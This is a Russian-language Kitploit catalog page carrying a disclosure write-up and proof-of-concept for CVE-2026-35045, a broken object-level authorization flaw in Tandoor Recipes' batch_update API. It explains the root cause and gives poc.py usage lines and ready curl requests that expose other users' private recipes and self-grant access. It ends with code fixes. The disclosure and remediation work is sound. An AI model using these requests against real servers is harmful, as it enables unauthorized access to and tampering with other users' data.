Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-35045-PoC — Эксплойт proof-of-concept для CVE-2026-35045, уязвимости нарушенной авторизации на уровне объектов в Tandoor Recipes, демонстрирующий несанкционированное изменение рецептов через конечную точку API batch_update. | Kitploit
Инструменты/GitHubGitHub/filipegaudard/cve-2026-35045-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеОбучение и Образование
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Эксплойт proof-of-concept для CVE-2026-35045, уязвимости нарушенной авторизации на уровне объектов в Tandoor Recipes, демонстрирующий несанкционированное изменение рецептов через конечную точку API batch_update.

Репозиторий
1165 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-35045 — Нарушенная авторизация на уровне объектов в Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Краткое описание

Конечная точка PUT /api/recipe/batch_update/ в Tandoor Recipes v2.6.1 позволяет любому аутентифицированному пользователю внутри Space изменять любой рецепт в этом Space — включая приватные рецепты, принадлежащие другим пользователям. Это полностью обходит проверки авторизации на уровне объектов, применяемые ко всем стандартным конечным точкам для отдельных рецептов.

Основная причина — поведенческий пробел в Django REST Framework: действия списка с detail=False никогда не вызывают has_object_permission(), только has_permission(). Фильтрация queryset осуществляется исключительно по space=request.space, без проверки created_by, private или списка shared. Злоумышленник может принудительно раскрыть приватные рецепты, самостоятельно предоставить себе постоянный доступ, отозвать права других пользователей и изменить метаданные — всё это одним вызовом API, который выглядит как обычный и возвращает HTTP 200 OK с пустым телом.

Детали уязвимости

ПолеЗначение
CVE IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Обход авторизации через управляемый пользователем ключ
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Затронутая версияTandoor Recipes ≤ 2.6.1
ПоставщикTandoorRecipes/recipes

Сопоставление с MITRE ATT&CK

ID техникиНазваниеАктуальность
T1078Действительные учётные записиЗлоумышленник использует легитимные учётные данные с низкими привилегиями для обхода авторизации
T1565.001Манипуляция хранимыми даннымиИзменение приватных рецептов и списков контроля доступа, принадлежащих другим пользователям

Анализ первопричины

1. detail=False обходит проверки разрешений на уровне объектов

Файл: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← Нет проверки created_by или private
        )

В Django REST Framework действия, зарегистрированные с detail=False, являются действиями списка. Они никогда не вызывают get_object(), а значит check_object_permissions() и CustomRecipePermission.has_object_permission() не выполняются. Запускается только has_permission() — который проверяет членство в Space, а не владение рецептом.

2. Стандартные конечные точки защищены корректно

PUT /api/recipe/{id}/ проходит полный поток проверки разрешений DRF:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → отказывает в доступе, если рецепт приватный и не принадлежит/не расшарен с запрашивающим

Конечная точка batch_update молча пропускает всю эту цепочку.

3. Записываемые поля через batch

RecipeBatchUpdateSerializer предоставляет следующие поля — записываемые для любого рецепта в Space:

ПолеЭффект
privateПереключение видимости рецепта
shared_add / shared_remove / shared_setУправление списком контроля доступа
keywords_add / keywords_remove / keywords_setИзменение метаданных рецепта
working_time / waiting_timeИзменение данных о времени приготовления рецепта

Схема атаки

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│  Tandoor Server │
│ (User B) │   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Space member)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ НИКОГДА НЕ   │
                                                   │  ВЫЗЫВАЕТСЯ     │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← Нет проверки владения
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Recipe ID 2   │
                                                   │  (владелец A)  │
                                                   │  private=false ← изменено
                                                   │  shared=[2]  ← само-предоставлено
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Attacker (B)   │
                                                   │ теперь имеет  │
                                                   │ полный доступ │
                                                   │ к Recipe ID 2  │
                                                   └────────────────┘

Доказательство концепции

Требования

  • Python 3.10+
  • Библиотека requests
root@kitploit:~
pip install requests

Использование

root@kitploit:~
# Принудительно раскрыть приватный рецепт и предоставить себе доступ (по умолчанию)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Только принудительное раскрытие (установить private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Только само-предоставление доступа (добавить в shared, оставить private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

Модули / Действия

ДействиеОписание
exposeУстанавливает private: false для целевого рецепта — принудительно делает его видимым для всех участников Space
self_grantДобавляет ID злоумышленника в shared_add — предоставляет постоянный доступ, даже если рецепт остаётся приватным
bothВыполняет оба действия одним запросом (по умолчанию)

Ручная проверка (curl)

1. Предусловие — Рецепт недоступен через стандартную конечную точку

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Ожидается: 404 (приватный, не принадлежит)

2. Эксплуатация — batch_update без авторизации

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# Ожидается: HTTP 200 OK — {}

3. Постусловие — Рецепт теперь доступен

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Ожидается: HTTP 200 с данными рецепта, private=false

4. Проверка через список рецептов

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Ожидается: 2  <recipe_name>  False

Влияние

Область воздействияОписаниеСерьёзность
Принудительное раскрытие рецептаУстановка private: false делает любой рецепт видимым для всех участников SpaceВысокая
Несанкционированное само-предоставление доступаДобавление собственного ID пользователя через shared_add предоставляет постоянный доступ на чтение/запись к любому рецептуВысокая
Отзыв доступаИспользование shared_remove или shared_set для удаления легитимных пользователей из списка расшаривания рецептаВысокая
Изменение метаданныхИзменение working_time, waiting_time и keywords на рецептах, принадлежащих другим пользователямСредняя

Устранение

Немедленное исправление

Отфильтруйте queryset по created_by=request.user, чтобы ограничить пакетные операции только рецептами, принадлежащими пользователю:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← Исправление: ограничить рецептами владельца
        )

Защита в глубину

Если администраторам Space требуется возможность пакетного обновления любых рецептов, добавьте условную проверку на основе роли:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

Общие рекомендации для DRF

Любое действие с detail=False, которое работает с отдельными объектами, должно вручную обеспечивать авторизацию на уровне объектов. has_object_permission() в DRF никогда не вызывается для действий списка — эта ответственность полностью ложится на разработчика.


Ссылки

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639: Обход авторизации через управляемый пользователем ключ
  • DRF — Пользовательские действия и проверки разрешений
  • OWASP API Security Top 10 — API1:2023 Нарушенная авторизация на уровне объектов
  • MITRE ATT&CK T1078 — Действительные учётные записи
  • MITRE ATT&CK T1565.001 — Манипуляция хранимыми данными

Отказ от ответственности

Данное доказательство концепции предоставлено только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Автор не несёт ответственности за неправомерное использование данного инструмента.


Автор

Filipe Gaudard — Исследователь в области наступательной безопасности | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Скачать инструмент